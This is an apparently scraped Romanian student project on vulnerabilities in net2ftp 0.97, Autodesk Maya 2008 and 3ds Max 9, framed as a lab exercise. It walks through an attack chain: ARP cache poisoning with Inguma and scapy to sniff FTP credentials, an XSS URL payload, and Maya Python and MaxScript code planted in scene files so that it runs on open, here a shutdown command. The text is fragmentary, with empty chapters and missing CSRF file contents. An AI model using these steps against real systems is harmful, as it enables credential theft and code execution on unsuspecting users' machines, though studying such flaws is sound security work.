Documente Academic
Documente Profesional
Documente Cultură
Vulnerabilităţi şi exploit-uri
în aplicaţiile
Autodesk 3ds Max 9, Autodesk Maya 2008,
Net2Ftp 0.97
Student:
Hoşman Dan-Laurenţiu
2010
CUPRINS:
Cap.3 Concluzii........................................................................... 19
Bibliografie............................................................................................ 20
2
Capitolul 1
Introducere
3
Capitolul 2
Structura proiectului
Aplicatia net2ftp
4
fi folosită de atacatori pentru a ocoli controalele de acces cum ar fi politica de
aceeaşi origine (same origin policy). Cross-site scripting-urile efectuate pe site-
uri Web au fost aproximativ 80% din toate vulnerabilităţile de securitate
documentate de Symantec în 2007. Impactul lor poate varia de la un mic
inconvenient până la un risc semnificativ de securitate, în funcţie de
sensibilitatea datelor manipulate de site-ul vulnerabil, precum şi de natura
oricărei tehnici de securitate puse în aplicare de către proprietarul site-ului.
Atacurile CSRF le putem denumi ca atacurile ce se bazează pe nivelul
de încredere ce îl oferă un site, utilizatorului. Astfel, atacul vizează persoane cu
anumite drepturi pe website-urile vizate, atacurile fiind declanşate prin oferirea
unor link-uri ce ar trebui deschise de victimă, sau prin crearea unor link-uri /
imagini “malformate”, ce ar încărca acele pagini automat. Aceste atacuri există
de foarte multă vreme, în ultimii ani numărul lor crescând foarte mult. Putem
da ca exemplu Ebay, unde în 2008, aproape 18 milioane de clienţi au pierdut
datele confidenţiale ale contului.
Cross-Site Scripting (XSS):
Această vulnerabilitate este produsă de un “typo” în funcţia
validateGenericInput(), unde extragerea simbolurilor „<” şi “>” este un eşec
datorită faptului că expresia regulată care ar trebui să efectueze extragerea, este
invalidă. Mai jos putem observa liniile 1088 – 1102 din fişierul
registerglobals.inc.php, în care problema discutată apare la linia 1098.
+++includes/registerglobals.inc.php @@ 1088:1102
1088 function validateGenericInput($input) {
1089
1090 // --------------
1091 // Remove the following characters <>
1092 // --------------
1093
1094 // Remove XSS code
1095 // $input = RemoveXSS($input);
1096
1097 // Remove < >
1098 $input = preg_replace("/\\<\\>]/", "", $input);
1099
1100 return $input;
1101
1102 } // end validateGenericInput
---includes/registerglobals.inc.php
Această problemă poate fi uşor remediată prin adăugarea simbolului „[“
la modelul din linia 1098.
Corect: 1098 $input = preg_replace("/[\\<\\>]/", "", $input);
5
Cross-Site Request Forgery (CSRF):
Toate formele de aplicaţii Web sunt vulnerabile deoarece acestea nu
verifică nici un tip de “token” pentru a se asigura că user-ul a cerut o anumită
informaţie. Astfel, atacatorul poate păcăli utilizatorul să viziteze un Web-site
având o astfel de vulnerabilitate, şi apoi să realizeze diverse acţiuni pe server
cum ar fi crearea de fişiere, ştergerea / upload-ul / redenumirea etc.
2. Autodesk Maya
Titlu: Autodesk Maya Script Nodes Arbitrary Command Execution;
Data: 23.11.2009;
Clasa: Failure to Sanitize Data into a Different Plane [CWE-74];
Impact: execuţie de cod;
Exploatată remote: Da;
Exploatată Local: Nu;
Versiuni afectate: Autodesk Maya 2010, 2009, 2008, 8.5, 8.0;
Soluţii şi update-uri: fără soluţii din partea Autodesk;
Exploit / Demonstrarea conceptului: Da;
6
integrat ca o parte din pachetul scenei. Programele integrate în Maya sub formă
de script sunt în mod automat executate la deschiderea fişierului. Un atacator
poate prelua controlul unui sistem pe care Maya se află instalat prin trimiterea
unei scene special generate şi apoi îndrumarea spre deschiderea scenei. Script-
ul va rula cu privilegiile utilizatorului ce foloseşte aplicaţia Maya.
În mod default, Maya are activă opţiunea de a executa "Script Nodes",
iar pentru a preveni execuţia acestora atunci când deschidem o scenă (fişier
Maya - .ma sau .mb), se urmăresc paşii :
1. Select File / Open;
2. Turn off “Execute Script Nodes”;
3. Open scene.
7
Autodesk 3ds Studio Max este un pachet de modelare, animaţie şi
randare folosit foarte des la dezvoltarea jocurilor video, a filmului, multimedia
şi contentului pentru web. Software-ul oferă un limbaj de scripting integrat, ce
permite utilizatorilor să lege coduri custom de acţiunile desfăşurate în scenă.
Executarea scripturilor nu necesită permisiunea utilizatorului. Acest mecanism
poate fi exploatat de un atacator pentru a executa cod arbitrar, prin îndemnarea
unei victime să deschidă o scena / fişier (.max) ce are script-ul inserat ca o
funcţie callback.
Limbajul integrat în Max, poartă numele de MaxScript şi poate fi folosit
pentru a automatiza task-urile repetitive, pentru a combina diferite funcţii
existente în noi moduri de utilizare sau pentru a dezvolta noi tool-uri şi
interfeţe pentru utilizator. Max permite utilizatorilor să lege un script de
funcţiile de callback ale aplicaţiei, în aşa fel încât un atacator poate profita de
această situaţie.
În modul default, Autodesk Max are active opţiunile de execuţie a
scripturilor, iar pentru a dezactiva încărcarea automată a scripturilor
MaxScripts, se urmăresc paşii:
1. Meniul Customize / Preferences /tab-ul Preferences Settings /
MaxScript;
2. deselectaţi "Load/Save Scene Scripts";
3. deselectaţi "Load/Save Persistent Globals".
8
2.2 Exploatarea sistemului
Considerăm un studio / companie de grafică 3D, ce deţine un server FTP
cu ajutorul căruia utilizatorii / angajaţii au acces la fişierele de lucru. Angajaţii
utilizează pentru conectarea la serverul de FTP, un client Web net2ftp. Studioul
efectuează modele 3D în aplicaţiile Autodesk Maya 2008 şi/sau Autodesk Max
9.
Un atacator poate profita atât de vulnerabilităţile clientului de FTP, cât
şi de vulnerabilităţile celor două aplicaţii Autodesk
Pentru realizarea exploit-ului vulnerabilităţilor discutate anterior este
nevoie de următoarele sisteme de operare, tool-uri şi maşini virtuale:
1. Windows XP Professional SP2, maşina victimă;
2. Aplicaţia Autodesk Maya 2008, instalată pe maşina victimă;
3. Aplicaţia Autodesk 3ds Max 9 , instalată pe maşina victimă;
4. Server FTP configurat cu ajutorul Microsoft’s IIS (Internet
Information Server) se pot utiliza şi alte tipuri de servere FTP,
dar vom discuta într-un paragraf următor.
5. Client FTP, net2ftp, bazat pe tehnologie web ;
6. Aplicaţia VirtualBox, pentru maşină virtuală;
7. Distribuţia Linux BackTrack 4 , maşină virtuală
9
maşină virtuală, BackTrack 4 configurată tot cu ajutorul dhcp şi are un IP de
clasa C, 192.168.1.166. Ambele maşini se află în aceeaşi reţea, iar un router, cu
adresa IP 192.168.1.1, asigură serviciul DHCP şi DNS.
În continuare trebuie făcute următoarele precizări:
Aplicaţiile de grafica sunt instalate pe maşina victimă în mod default,
adică "Script Nodes" şi scripturile MaxScripts se execută.
La punctul 4, serverul FTP, este realizat cu ajutorul aplicaţiei oferite de
Windows Professional, care mai întâi trebui instalată, în cazul în care la
instalarea sistemului de operare Windows, pachetele ce îl conţin nu au fost
instalate. În acest caz, se urmează paşii:
1. Control Panel -> Add or Remove Programs -> Add/Remove
Windows Components;
2. se alege Internet Information Services (ISS), si se apasă Details;
3. se alege Common Files, File Transfer Protocol (FTP) Services şi
Internet Information Services Snap-In, iar restul se pot debifa;
4. se aşteaptă până se instalează toate componentele (CD-ul cu Windows
poate fi cerut);
5. pe partiţia C:\, a fost creat folder-ul Inetpub, care reprezintă serverul
FTP;
6. în C:\Inetpub\ftproot se găsesc fişierele şi directoarele care sunt
transferate cu ajutorul serverului de FTP;
7. sunt necesare unele configurări, înainte de a folosi serverul de FTP;
8. mergem Control Panel / Administrative Tools / Internet Information
Services;
9. se alege serverul de FTP iar cu click dreapta se alege meniul
Properties;
10. în primul tab, FTP Site, se stabileşte numele serverului, adresa IP şi
limitările conexiunii;
11. tab-ul 2, Security Accounts, este foarte important. Default serverul
FTP generează un cont IUSR_numecomputer, care are username-ul şi parola
aceeaşi cu cea a contului folosit pe sistemul de operare Windows XP SP2. Tot
default, serverul de FTP permite conexiuni de tip anonymous. Vom discuta şi
de posibilitatea în care serverul de FTP nu permite conexiuni de tip
anonymous.
12. tab-ul 3, Messages, stabileşte mesajele predefinite de întâmpinare;
13. ultimul tab, Home Directory, este responsabil cu asigurarea
directorului, default C:\Inetpub\ftproot şi asigură permisiunile asupra fişierelor
şi directoarelor.
14. acum serverul de FTP este funcţional şi se poate încerca conectarea
la acesta.
Observaţii:
Se pot utiliza şi alte servere de FTP, însă acestea nu sunt la îndemâna
tuturor utilizatorilor, deoarece sunt cu licenţă separată. Unele dintre acestea,
cum este cazul aplicaţiei Serv-U, oferă un mediu mai prietenos şi facilităţi mai
bune decât Internet Information Services de la Microsoft.
10
La punctul 5, se discută despre clientul de FTP. Acesta poate fi
configurat pe un server atât pe platforma Windows cât şi pe platforma Linux.
Se utilizează ghidul disponibil on-line pentru configurarea clientului de FTP pe
Linux.
Pe scurt, pe serverul de FTP, fişierele victimă pentru Maya se găsesc în
/maya/my_first_project/scenes şi poartă numele de vuln_maya.ma şi
vuln_maya.mb. Pentru Max, fişierul victimă se găseşte în
/3dsmax/scenes/vuln_max.max.
Realizarea cu succes a atacului este descrisă astfel:
1. atacatorul foloseşte distribuţia BackTrack, pentru a exploata
vulnerabilităţile clientului de net2ftp (au fost discutate anterior), şi obţine
un username şi o parolă pentru accesul la serverul de FTP, 192.168.1.104.
2. în cazul în care serverul utilizează tipul de conexiune cu user
anonymous, atunci se poate loga foarte simplu şi poate utiliza direct
exploit-urile XSS şi CSRF.
3. atacatorul se conectează pe serverul de FTP şi downloadează
cele două fişierele vulnerabile din /maya/my_first_project/scenes şi
fişierul din /3dsmax/scenes/, în care salvează un script periculos.
4. folosind credenţialele obţinute, atacatorul uploadează pe serverul
de FTP, fişierele modificate, care acum conţin o vulnerabilitate / risc de
securitate.
5. compania va suferi pierderi însemnate de date şi informaţii în
urma atacului. Un exemplu de vulnerabilitate este rularea script-ului de
shutdown –s –t 3
11
2.3 Dezvoltarea exploit-ului
În această secţiune se va descrie codul sursă pas cu pas. Trebuie
reamintit că în secţiunea precedentă am vorbit de configurarea server-ului de
FTP al companiei şi de modul său de funcţionare. S-a mai vorbit şi de
aplicaţiile vulnerabile şi tipurile de sisteme de operare folosite.
12
Pornim interfaţa grafică:
startx
Într-un terminal, ne conectăm la serverul FTP victimă, de pe maşina
Windows:
ftp 192.168.1.104
Testăm dacă serverul de FTP permite conectarea cu user anonymous şi
parola parola@ceva.ro . În cazul în care autentificare a fost realizată,
atacatorul dispune de credenţiale pentru a utiliza vulnerabilitatea clientului de
FTP, net2ftp.
În cazul în care serverul FTP nu permite conectarea cu user anonymous
(serverul a fost configurat să nu permită astfel de conexiuni), atunci se
realizează un atac ARP Cache Poisoning, folosind exploit-ul din maşina
BackTrack 4. Acest atac este utilizat pentru interceptarea datelor de
autentificare într-o sesiune FTP. Mergem în directorul exploits şi lansăm tool-
ul Inguma:
cd /pentest/exploits/inguma
./inguma.py
Folosim tool-ul pentru a realiza atacul de tip ARP Cache Poisoning
scapy.arpcachepoison(“192.168.1.166”,”192.168.1.104”)
13
În wireshark se alege interfaţa eth0 pentru a captura pachetele, si se
apasă Start. Apoi în maşina victimă, Windows XP, se deschide o fereastră cmd,
şi se realizează o conexiune ftp la server, se introduce username-ul şi parola, iar
apoi se face deconectarea:
ftp 192.168.1.104
>ftp user: Dan
>ftp password:
quit
În maşina BackTrack, se opreşte captura de pachete cu wireshark şi se
sortează pachetele după protocolul TCP. Apoi în meniul Analyze se alege
opţiunea Follow TCP Stream, şi ne vor fi afişate credenţialele, user: Dan şi
parola: student.
Mai există şi o altă variantă. Putem folosi unealta Inguma pentru a
realiza un atac ARP Cache Poisoning direct asupra clientului de FTP, net2ftp.
Şi în acest mod putem afla credenţialele pentru conectarea la serverul de FTP,
192.168.1.104.
Următoarea etapă o reprezintă exploatarea vulnerabilităţii de tip XSS
asupra clientului de FTP, net2ftp 0.97. Numele serverului ftp este test. Vom
utiliza un link către acesta de forma:
http://ftp.test.com/?state=login_small&errormessage=<iframe
onload="alert(/voodoo/.source);">
Vulnerabilitatea de tip CSRF se realizează prin generarea unui script
php şi uploadarea lui pe serverul net2ftp, folosit de companie
14
vi csrf-attack.html
:wq
Vulnerabilitatea de tip CSRF + XSS, generează un atac de tip XSS în
secţiunea „Bookmark” a clientului net2ftp. Acest atac are o eficientă şi mai
mare în cazul în care utilizatorul salvează bookmark-ul. Metoda este
asemănătoare ca în cazul vulnerabilităţii de tip CSRF; se generează un script
php, ce conţine un cod pe care îl putem găsi în xss-xsrf-attack.html
vi xss-csrf-attack.html
:wq
15
Se pot obţine astfel informaţii importante despre serverul de FTP. După
exploatarea vulnerabilităţilor clientului de net2ftp, urmează conectarea la
serverul de FTP, utilizând credenţialele obţinute mai devreme. Într-un terminal
în maşina BackTrack, se face conexiunea la serverul de FTP:
ftp 192.168.1.104
Se introduce username-ul şi parola (Dan, student), şi apoi se listează
conţinutul serverului. Ajungem în folderele /maya/my_first_project/scenes şi
/3dsmax/scenes/ de unde se downloadează fişierele vuln_maya.ma,
vuln_maya.mb şi vuln_max.max:
ls -l
cd /maya/my_first_profect/scenes
ls -l
get vuln_maya.ma
get vuln_maya.mb
cd /3dsmax/scenes
ls -l
get vuln_max.max
După ce au fost salvate, începe editarea lor. Se deschide un alt terminal.
Pentru fişierul vuln_maya.ma introducerea script-ului este cea mai uşoară şi
rapidă. Script-ul este de forma:
python("import os");
python("os.system('%SystemRoot%\\system32\\shutdown –s –t
3')");
16
Se caută linia
createNode script -n "uiConfigurationScriptNode";
şi înainte de această linie se introduc următoarele comenzi
17
Exploatarea vulnerabilităţii se poate realiza local. Codul care se
introduce în MaxScript este de forma:
callbacks.addScript #filePostOpen ("DOSCommand(\"shutdown -s
-t 3\")")
id:#mbLoadCallback persistent:true
put vuln_maya.mb
18
Capitolul 3
Concluzii
19
Bibliografie
1 BackTrack http://en.wikipedia.org/wiki/BackTrack
4
2 Exploit http://www.exploit-db.com/
DataBase
3 Net2ftp http://www.net2ftp.com/
4 XSS http://en.wikipedia.org/wiki/Cross-site_scripting
5 CSRF http://www.tutoriale.far-php.ro/index.php?p=Cum%20sa%20te
%20protejezi%20de%20atacurile%20Cross-site%20request
%20forgery%20CSRF
6 Autodesk http://usa.autodesk.com/
7 IRIX http://en.wikipedia.org/wiki/IRIX
8 FTP Guide http://www.pcstats.com/articleview.cfm?articleid=1491&page=2
9 Net2ftp http://www.net2ftp.com/help.html?
Guide PHPSESSID=DbSU,9NYZjhDsdzFPbyxxk0VfI3
20